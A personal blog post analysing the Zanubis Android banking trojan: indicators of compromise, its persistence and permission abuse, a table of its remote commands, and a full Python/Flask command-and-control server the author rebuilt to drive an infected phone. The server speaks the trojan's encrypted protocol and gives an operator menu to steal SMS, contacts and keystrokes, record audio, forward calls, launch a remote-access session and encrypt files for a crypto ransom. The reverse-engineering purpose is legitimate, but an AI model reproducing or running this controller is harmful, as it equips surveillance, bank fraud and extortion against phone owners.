Post

Zanubis

IOCs :

  • Package name : wocwvy.czyxoxmbauu.slsa
  • hashes :
    • md5 : 25eb0e0c3a8027869dfb0f23638b941e
    • sha1 : aa5c14e14b9fe8de97a8125f6da4fc89e33e735e
  • URLs :
    • Twitter account to obtain new c2 url : https://twitter.com/qweqweqwe
    • VNC server url : http://ktosdelaetskrintotpidor[.]com
    • Starter server url : http://sositehuypidarasi[.]com

      Tools used :

  • Jadx-gui
  • Burpsuite
  • Apklab
  • Python with Flask

    Note :

    Hello there ! Welcome to my first malware analysis ! A little disclaimer as it’s my first time there will be some mistakes so if you found some please contact me to fix it.

I was bored during weekend, I wanted to sharp my mobile skills by reversing a malware. So I searched on malware bazaar to find something to reverse. I found zanubis, see below how I reversed this malware and “rebuild” C2 in python.

Background :

Initilaly detected in 2022 targeting Peruvian people. The malware re-appear in 2025.

Overview :

Once installed the apk appears as Chrome Güncellemesi see below :

Let’s run it, it displays instantly the accessibility window displaying toast message with “enable access for Android security”. Let’s enumerate what the app does once started :

  • Forces focus on the accessibility if we left it. Seems triggers by alarm. Until we allow the app running as service
  • Hide icon from application list
  • Ask to let it running in background

Once we allowed running as a service the app allows itself the permissions and prevents us to manage application in settings. That means we cannot uninstall if we aren’t aware of adb but still possible to uninstall it using adb with :

1
adb shell "pm uninstall wocwvy.czyxoxmbauu.slsa"

It’s seems the application doesn’t do anything that could be “visible” for the end user. Let’s dig the code.

Static analysis :

Once downloaded I opened it with jadx to check AndroidManifest. As every mobile malware It needs every permissions :

And there are several services like linux service that run in background those are going to be explored later : [image] I checked the main activiy : [image] Once the application is started it triggers a method that set interval that start services one by one [image] As see upper it starts the service that handle C2 commands, the service that and [image]

How C2 works ?

As webserver and C2 server are downed I have to patch apk to redirect to my own homemade c2 server So let’s patch URLs : URL

As c2 server was a webserver using php the endpoint terminating by .php I need to patch it to remove .php to match python webserver using flask : As we can see there are some endpoint for different usage : [image]

wocwvy.czyxoxmbauu.slsa.ukhakhcgifofl class receives command from C2 server : [image] the malware get victim device status such as : android id, if android version is under version 9 , gps status, play protect status, … encrypt them and sends it to C2. Once it’s done it check the response from C2. If the device isn’t registered the client receive “|No|” and send it back more infos such as : network operator, build version, Country iso code, bank applications detected on device, and play protect status. As highlighted we can observe victim receives command from C2, He can be single command or a list seperated by “::” see below the list of commands :

CommandsUsage
Send_GO_SMSSend sms from victim device
nymBePsG0Get all phonenumber from target’s phonebook
GetSWSGOGet all sms from target
telbookgotext=Send a sms to all target’s contacts within phonebook
getappsGet list of installed applications
getpermissionsList granted permissions
startaccessibilityplaceholder
startpermissionAsk permissions
=ALERTDisplay alert notification on victim screen
=PUSHDisplay push notification on victim screen
startautopushplaceholder
RequestPermissionInjplaceholder
RequestPermissionGPSRequest location permission
ussd=placeholder
sockshost=Connect victim device to proxy server
stopsocks5Stop proxying victim
spam=Spam sms
recordsound=Record sound from device microphone
replaceurl=Replace current url of C2
startapplication=Start application
killBotRemove all URLs related to C2
getkeyloggerObtain keylogger logs file
startrat=Start R(emote)A(ccess)T(ool)
startforward=Forward incoming calls
stopforwardStop forward incoming calls
openbrowser=Open url on default browser
openactivity=Open activity from targeted app
cryptokey=Encrypt victim’s files with key
decryptokey=Decrypt encrypted files
getIPGet public IP of victim

The source code of C2 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
from flask import Flask, request, send_file
from arc4 import ARC4
from base64 import b64decode, b64encode
from re import search
from flask_socketio import SocketIO
from filetype import guess, guess_mime, guess_extension


app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 * 1024
socketio = SocketIO(app)


KEY = bytes("zanubis", 'utf-8')


RGX = r"\/(.+)\|\|:\|\|((?:.+\n){1,})"


COMMANDS_BANNER = f"""
\n{'-'*30}\n
1. Enter commands manually
2. Send SMS from victim phone
3. Get apps installed
4. Get allowed permissions
5. Start accessibility
6. Start pemissions request
7. Display alert window on victim screen
8. Send push notification to the victim
9. Send auto push notification to the victim
10. Request GPS permission
11. Send USSD code
12. Setup proxy server to the victim
13. Stop setup up proxy server
14. Record sound from phone microphone
15. Replace url of c2 server
16. Start specified application 
17. Get keylogger
18. Start RAT
19. Forward input call
20. Stop forward call
21. Open browser
22. Open activity
23. Crypt files
24. Decrypt files
25. Get victim's ip 
\n{'-'*30}\n
"""


def encrypt_rc4b64(message:str):
  arc4 = ARC4(KEY)
  encrypted_msg = arc4.encrypt(bytes(message, 'utf-8'))
  hex_msg = encrypted_msg.hex()
  return b64encode(bytes.fromhex(hex_msg))


def decrypt_rc4b64(encrypted_b64:bytes):
  rc4 = ARC4(KEY)
  encrypted_b64d = b64decode(encrypted_b64)
  encrypted_hex = encrypted_b64d.decode('utf-8')
  encrypted = bytes.fromhex(encrypted_hex)
  return rc4.decrypt(encrypted).decode()



@app.get("/qweqweqwe")
def payload():
  # return the c2 server from instruction in chinese  translate to latin alphabet
  return "苏尔的开始  苏尔苏尔完"


@app.post("/o1o/a1")
def a1():        
  #file = request.files['getfiles[]'] 
  file = request.files['sound&[]']
  print(file)
  file.save(f"./{file.filename}")
  return ''
  

@app.post("/o1o/a2")
def a2():
  print(decrypt_rc4b64(bytes(request.form['tuk_tuk'].strip('\n'), 'utf-8')).replace('|','\n'))
  choice = int(input('1.List dir (e.g. /sdcard/Download/)\n2.Download file\n3. Delete file/folder\n4.start vnc\n99. Exit\n'))
  match choice:
      case 1:
          dir = input('Dir (e.g. /sdcard/Download/):\n')
          if dir == '':
              return 'opendir:/sdcard/Download/'
          else:
              return f'opendir:{dir}'
      case 2:
          file = input("File: \n")
          return f'downloadfile:{file}'
      case 3:
          file_folder = input('File or folder you want delete:\n')
          return f'deletefilefolder:{file_folder}'
      case 4:
          return ''
      case 99:
          return '**noconnection**'
      case _:
          return '**'

        
@app.post("/o1o/a3")
def a3():
  # C2 
  android_id, network_operator, build_ver, net_iso, banks_apps, product_model, undefined2, play_protect, icon_j, unused, un = decrypt_rc4b64(bytes(request.form['p'].strip('\n'),'utf-8')).split(":")
  print(f"\n{'-'*30}\nandroid id : {android_id}\nNetwork operator : {network_operator}\nundefined : {undefined2}\nBuild (Android) Version : {build_ver}\nNetwork Country iso : {net_iso}\nBanks app : {banks_apps}\nModel and product : {product_model}\nundefined 2 : {undefined2}\nPlay protect : {play_protect}\nIconJ : {icon_j}\n{'-'*30}\n")
  try:
      command = int(input(COMMANDS_BANNER))
  except ValueError:
      command = 0
  match command:
      case 0:
          return ""
      case 1:
          commands = input("Enter commands seperated by '::' example : getapps::ALERT|title={your title}|text={your text}::|recordsound={time}|endrecord")
          return f"<tag>{commands}</tag>"
      case 2:
          number, text = input("Enter number and text like this number|text\n").split("|")
          return f"<tag>SEND_GO_SMS|number={number}|text={text}</tag>"
      case 3:
          return "<tag>getapps</tag>"
      case 4:
          return "<tag>getpermissions</tag>"
      case 5:
          return "<tag>startaccessibility</tag>"
      case 6:
          return "<tag>startpermission</tag>"
      case 7:
          title, text = input("Enter the title and text of alert notification like this title|text\n").split("|")
          return f"<tag>=ALERT||title={title}|text={text}</tag>"
      case 8:
          title, text, icon = input("Enter title, texte and icon like this : title|text|icon").split("|")
          return f"=PUSH||title={title}|text={text}|icon={icon}"

      case 9:
          application = input("Name of application : \n")
          return f"startAutoPush|AppName={application}|EndAppName"
      case 10:
          return "<tag>RequestPermissionGPS</tag>"
      case 11:
          ussd =input("Enter ussd to send to victim\n")
          return f"<tag>|ussd={ussd}|endussD</tag>"
      case 12:
          host, user, psw, port = input("Enter information like this host|user|psw|port\n").split('|')
          return f"<tag>|sockshost={host}|user={user}|pass={psw}|port={port}|endssh</tag>"
      case 13:
          return "<tag>stopsocks5</tag>"
      case 14:
          time = input("How much time do you want record ?\n")
          return f"<tag>|recordsound={time}|endrecord</tag>"
      case 15:
          url = input("New url of c2 server ?\n")
          return f"<tag>replaceurl={url}|endurl</tag>"
      case 16:
          app = input("Which application do you want run on victim phone ?\n")
          return f"<tag>|startapplication={app}|endapp</tag>"
      case 17:
          return "<tag>getkeylogger</tag>"
      case 18:
          return "<tag>|startrat=|endrat=http://192.168.142.1:1225|endurl</tag>"
      case 19:
          phone_number = input("Enter the phone number to forward call to it\n")
          return f"<tag>startforward={phone_number}|endforward</tag>"
      case 20:
          return "<tag>stopforward</tag>"
      case 21:
          url = input("Enter url to open it on victim browser\n")
          return f"<tag>|openbrowser={url}|endbrowser</tag>"
      case 22:
          activity = input("Enter activity name to open a view on victim device\n")
          return f"<tag>|openactivity={activity}|endactivity</tag>"
      case 23:
          key, lock_amount, lock_btc = input("Enter the key to encrypt/decrypt datas on victim phone, amount of ransom and crypto as key|lock_amount|lock_crypto (btc, eth, ...)\n").split("|")
          return f"<tag>|cryptokey={key}/:/{lock_amount}/:/{lock_btc}|endcrypt</tag>"
      case 24:
          key = input("Enter key to decrypt data on phone\n")
          return f"<tag>|decryptokey={key}|enddecrypt</tag>"
      case 25:
          return "<tag>getIP</tag>"        

        
@app.post("/o1o/a4")
def a4():
  # Got information about victims devices
  android_id, is_admin_active, settings_all, is_sdkver_lower_than_24 , is_gps_enabled, sms, is_lockscreen_showing, unknown, time, is_play_protect_actived, is_ignoringbatteryoptimizations , step, m = decrypt_rc4b64(bytes(request.form['p'].strip('\n'), 'utf-8')).split(":")
  print(f"\n{'-'*30}\nandroid id :{android_id}\nis_admin_active: {is_admin_active}\nshared_pref_settingsall : {settings_all}\nis_sdkver_lower_than_24 : {is_sdkver_lower_than_24}\nis_gps_enabled: {is_gps_enabled} \nsms : {sms}\nis_lockscreen_showing : {is_lockscreen_showing} \nunknown : {unknown} \ntime work : {time} \nis_play_protect_actived : {is_play_protect_actived} \nIsIgnoringBatteryOptimizations : {is_ignoringbatteryoptimizations}\nstep: {step}\n{m}{'-'*30}\n")
  return '<tag>|NO|</tag>'


@app.post("/o1o/a5")
def a5():
  print(decrypt_rc4b64(bytes(request.form['p'].strip('\n'), 'utf-8')))
  return 'done'


@app.post("/o1o/a6")
def a6():
  print(f"\n{'-'*30}\n" + decrypt_rc4b64(bytes(request.form['p'].strip('\n'), 'utf-8'))+f"\n{'-'*30}\n")
  return '<tag>|NO|</tag>'


@app.post("/o1o/a7")
def a7():
  return ''


@app.post("/o1o/a8")
def a8():
  print(decrypt_rc4b64(bytes(request.form['p'].strip('\n'), 'utf-8')))
  return ''


@app.post("/o1o/a9")
def a9():
  return '2453512'


@app.post("/o1o/a10")
def a10():
  return ''


@app.post("/o1o/a11")
def a11():
  print(f"htmllocker.lenght > 15")
  return '<tag></tag>'


@app.post("/o1o/a12")
# keylogger
def a12():
  print(decrypt_rc4b64(bytes(request.form['p'].strip('\n'),'utf-8')))
  return encrypt_rc4b64('clear')

@app.post("/o1o/a13")
def a13():
  # Audio file receiver.
  response = decrypt_rc4b64(bytes(request.form['p'].strip('\n'), 'utf-8'))
  name, file_b64 = search(RGX, response.strip('\n')).groups()
  with open(name,"wb") as audio_file:
      audio_file.write(b64decode(file_b64))
  return "**good**"


@app.post("/o1o/a14")
def a14():
  return


@app.post("/o1o/a15")
def a15():
  return


@app.post("/o1o/a16")
def a16():
  """Verify if c2 is alive"""
  return "<tag>**2**0**0**</tag>"


@app.post("/getip")
def get_ip():
  return f"<tag>>The IP address {request.remote_addr} is located in the</tag>"


@app.get("/icon/1.png")
def icon():
  return send_file("icon/icon-1.png", mimetype='image/png')


if __name__ == '__main__':
  socketio.run(app, '0.0.0.0', 1225)

This post is licensed under CC BY 4.0 by the author.